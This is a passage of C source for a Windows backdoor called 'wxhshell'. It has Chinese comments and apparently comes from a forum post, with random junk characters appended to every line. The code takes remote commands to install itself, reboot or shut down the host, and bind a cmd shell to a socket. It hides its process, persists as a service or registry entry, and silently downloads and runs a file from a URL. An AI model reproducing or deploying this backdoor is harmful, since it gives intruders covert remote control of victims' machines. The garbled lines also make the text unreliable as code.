  case '?': { sz/^Ie-~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W?wt$'  
    break; 8_Uh h5[  
  } m:0[as=  
  // 安装 3'i(wI~<[  
  case 'i': { %LmsywPPp  
    if(Install()) =6 zK 1Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FVL{KNW~i  
    else YuIF}mUr"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fdwP@6eh  
    break; 6;s[dw5T  
    } 2)0J@r'  
  // 卸载 QT!>izgc U  
  case 'r': { +C,/BuG  
    if(Uninstall()) 0,@^<G8?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Svo\+S  
    else u&TXN;I,p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t54?<-  
    break; 2,g4yXws5  
    } .:Sk=r4u\  
  // 显示 wxhshell 所在路径 [7 r^fD A  
  case 'p': { tq'ri-c&b  
    char svExeFile[MAX_PATH]; 2cIbX  
    strcpy(svExeFile,"\n\r"); k#\j\t-  
      strcat(svExeFile,ExeFile); [S~Bt78d%r  
        send(wsh,svExeFile,strlen(svExeFile),0); 1/;E8{  
    break; ~9#x=nU:+V  
    } ;P;c!}:\b  
  // 重启 :qB|~"9O  
  case 'b': { a(?)r[=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?GhMGpd Mq  
    if(Boot(REBOOT)) ?D)$O CS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dyo^O=0c  
    else { E6O!e<ze^  
    closesocket(wsh); O8" t.W  
    ExitThread(0); o%;ly  
    } ~a_X 7  
    break; Os9 EMU$  
    } C'gv#!Q  
  // 关机 bnanTH9-  
  case 'd': { ?ILjt?X8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &!WRa@x0I  
    if(Boot(SHUTDOWN)) -Edy ~;_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &&LB0vH!J  
    else { i_r708ep6  
    closesocket(wsh); EN/t5d  
    ExitThread(0); ' i5KRFy-  
    } $YY{|8@kjv  
    break; 4<E <sD  
    } m`q&[:  
  // 获取shell ew dTsgt'  
  case 's': { L%\Wt1\[  
    CmdShell(wsh); iOb7g@=  
    closesocket(wsh); 0#uB[N  
    ExitThread(0); )wD/<7;  
    break; _ gYj@ %  
  } _Ds,91<muQ  
  // 退出 y`7<c5zD  
  case 'x': { 6dz^%Ub  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ac|dmu  
    CloseIt(wsh); %t!S 7UD  
    break; .o C! ~'  
    } \~Z%}$ =  
  // 离开 T KAs@X,t  
  case 'q': { ^^B_z|;Aa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y[R>?w  
    closesocket(wsh); m]fUV8U  
    WSACleanup(); `\;Z&jlpT  
    exit(1); -+Yark  
    break; GGcODjY>  
        } w3>11bE  
  } F$'u`  
  } <`; {gX1  
f$-n %7  
  // 提示信息 55$';gh,9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m F+8Q  
} !V/\_P!I  
  } MY c&  
(F.w?f4B3  
  return; #<e D  
} ceCO*m~  
n@;B_Bt7  
// shell模块句柄 zG9D Ph  
int CmdShell(SOCKET sock) =VZ_';b h  
{ :@-yK8q's  
STARTUPINFO si; !P^Mo> "  
ZeroMemory(&si,sizeof(si)); @sg.0GR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  ^QJJ2jZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [v*q%Mi_  
PROCESS_INFORMATION ProcessInfo; Xfqin4/jC  
char cmdline[]="cmd"; 3^ y<Db  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2@2d |  
  return 0; Dg0rVV6c  
} [' pO=ho  
0hGmOUO  
// 自身启动模式 U Xpp1/d|e  
int StartFromService(void) 0wV9Trp  
{ u "k< N|.3  
typedef struct oxL<\4)WJ  
{ dc1Zh W4  
  DWORD ExitStatus; g<0K i^#  
  DWORD PebBaseAddress; J!5b~8`v  
  DWORD AffinityMask; CZeZk  
  DWORD BasePriority; =4SXntU!e  
  ULONG UniqueProcessId; 9609  
  ULONG InheritedFromUniqueProcessId; DQXcf*R  
}   PROCESS_BASIC_INFORMATION; CyYr5 Dz  
S1y6G/e9  
PROCNTQSIP NtQueryInformationProcess; /Qr`au  
v3M$UiN,:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; . 43cI(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G bclu.4  
. o /uA  
  HANDLE             hProcess; w"dKOdY  
  PROCESS_BASIC_INFORMATION pbi; ~ *"iLf@,  
=QtFJ9\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `\\s%}vZ*T  
  if(NULL == hInst ) return 0; Q{950$ )L  
gSw <C+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zixG}'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KT<$E!@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h{ix$Xn~  
@d 7V@F0d  
  if (!NtQueryInformationProcess) return 0; C<(oaeQY  
Fih pp<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ow4(1eE_  
  if(!hProcess) return 0; Gvh"3|u ?z  
/PTRe5-7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T9Juq6|  
$S?gQN.e  
  CloseHandle(hProcess); jTt9;?)  
pl1CPxSdO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a oU"  
if(hProcess==NULL) return 0; m<>BxX  
+D]raU  
HMODULE hMod; (,QWK08  
char procName[255]; {b4`\ I@<  
unsigned long cbNeeded; JVy|SA&R  
;zD4 #7=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $VF,l#aR  
 w0=  
  CloseHandle(hProcess); 3s%ND7!/  
^&1O:G*"  
if(strstr(procName,"services")) return 1; // 以服务启动 msfE;  
b-  t  
  return 0; // 注册表启动 eU%49 A  
} W>d)(  
OmBz'sp:  
// 主模块 c6 mS  
int StartWxhshell(LPSTR lpCmdLine) b6f OHy  
{ TK\3mrEI  
  SOCKET wsl; ;]=w6'dP!  
BOOL val=TRUE; [F+W]Jk,  
  int port=0; Zc1x"j  
  struct sockaddr_in door; d:K\W[$Bz  
F.$z7ee@  
  if(wscfg.ws_autoins) Install(); }p2iF2g9`  
Gg9MAK\C9  
port=atoi(lpCmdLine); )< G(C,!,.  
?=&S?p)-<  
if(port<=0) port=wscfg.ws_port; vFR *3$ R  
9N9&y^SmD  
  WSADATA data; |3,WiK='  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IV. })8  
#c@&mus  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9_:"`)] 3B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \N0vA~N.  
  door.sin_family = AF_INET; >iOf3I-ATt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <.4(#Ebd  
  door.sin_port = htons(port); Bgc]t  
<F0^+Pf/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EA6l11{Gk1  
closesocket(wsl); [q[37;ZEQ  
return 1; H"AL@=  
} ")uKDq  
[ZSC]w^  
  if(listen(wsl,2) == INVALID_SOCKET) { $]E+E.P  
closesocket(wsl); g[pU5%|"[  
return 1; BM /FOY;  
} 8Zsaq1S  
  Wxhshell(wsl); <5z!0m-G  
  WSACleanup(); CipDeqau2  
t7F0[E'=5\  
return 0; +X^GS^mz  
U; oXX  
} ]}rNxT4<  
u)r/#fUZ  
// 以NT服务方式启动 4joE"H6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @s-P!uCaT  
{ "V]*ov&[  
DWORD   status = 0; z f SE7i0  
  DWORD   specificError = 0xfffffff; mk1R~4v  
m1%rm-M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Yt(FSb31H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E! NtD).=S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {\1bWr8!U  
  serviceStatus.dwWin32ExitCode     = 0; hTn"/|_SW  
  serviceStatus.dwServiceSpecificExitCode = 0; e*}zl>f  
  serviceStatus.dwCheckPoint       = 0; Ie^Ed`  
  serviceStatus.dwWaitHint       = 0; bOr11?  
a`w=0]1&*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >E J{ *  
  if (hServiceStatusHandle==0) return; KUZi3\p9W>  
w CLniCt  
status = GetLastError(); )Ac,F6w  
  if (status!=NO_ERROR) +S(# 7  
{ 3/n?g7B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?Xypn#OPt  
    serviceStatus.dwCheckPoint       = 0; Y`ip. Nx  
    serviceStatus.dwWaitHint       = 0; *% ;A85V/  
    serviceStatus.dwWin32ExitCode     = status; [y`G p#  
    serviceStatus.dwServiceSpecificExitCode = specificError; EZB0qZIp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~&)\8@2  
    return; O pu*i  
  } M,H8ZO:R  
_r3Y$^!U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2v ~8fr4  
  serviceStatus.dwCheckPoint       = 0; G^)]FwTs  
  serviceStatus.dwWaitHint       = 0; a^J(TW/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]C,j80+pK  
} ~wW]ntZm  
2Cp4aTGv#  
// 处理NT服务事件,比如:启动、停止 3pWav 1"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L.@$rFhA  
{ | 9S8sfw  
switch(fdwControl) <h/q^|tZ{  
{ [m:cO6DM,  
case SERVICE_CONTROL_STOP: _1gNU]"  
  serviceStatus.dwWin32ExitCode = 0; WMtFXkf6"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C:Rs~@tl  
  serviceStatus.dwCheckPoint   = 0; I20~bW  
  serviceStatus.dwWaitHint     = 0; 1M??@@X  
  { G)< B7-72;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )4uWB2ZRoi  
  } A2ye ^<-C.  
  return; G^d3$7  
case SERVICE_CONTROL_PAUSE: /P,1KVQPh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7/<~s]D[%  
  break; TzaeE  
case SERVICE_CONTROL_CONTINUE: p+=zl`\=|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k(H]ILL  
  break; md{nHX&  
case SERVICE_CONTROL_INTERROGATE: K@1gK<,a  
  break; S&UP;oc  
}; _oc6=Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q&@s/k  
} SzpUCr"  
&{8:XJe*,%  
// 标准应用程序主函数 a%`Yz"<lQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^x O](,H  
{ Y[7prjd  
H[KX xNYZ_  
// 获取操作系统版本 tP|/Q 5s  
OsIsNt=GetOsVer(); Jp"29 )w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z]b;%:>=  
.c]>*/(+  
  // 从命令行安装 )Q`Ycz-  
  if(strpbrk(lpCmdLine,"iI")) Install(); =a,qRO  
x]wi&  
  // 下载执行文件 s&nat4{B  
if(wscfg.ws_downexe) { yGtTD9j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H1U$ApD  
  WinExec(wscfg.ws_filenam,SW_HIDE); |E6_TZ#=  
} e: Sd#H!  
JR `$t~0t  
if(!OsIsNt) { xwD`R *  
// 如果时win9x,隐藏进程并且设置为注册表启动 ir.RO7f  
HideProc(); cL#-vW<s3  
StartWxhshell(lpCmdLine); > .NLmzUX  
} e+BZoK ^  
else Z OPK  
  if(StartFromService()) I=&i &6v8G  
  // 以服务方式启动 H3$py|}lL  
  StartServiceCtrlDispatcher(DispatchTable); A!!!7tj  
else xT&~{,9  
  // 普通方式启动 .\$A7DD+A  
  StartWxhshell(lpCmdLine); O1o>eDE5A  
Zm*d)</>  
return 0; CJN~p]\  
}
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级别: 大掌柜
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只看该作者 1 发表于: 2006-10-10
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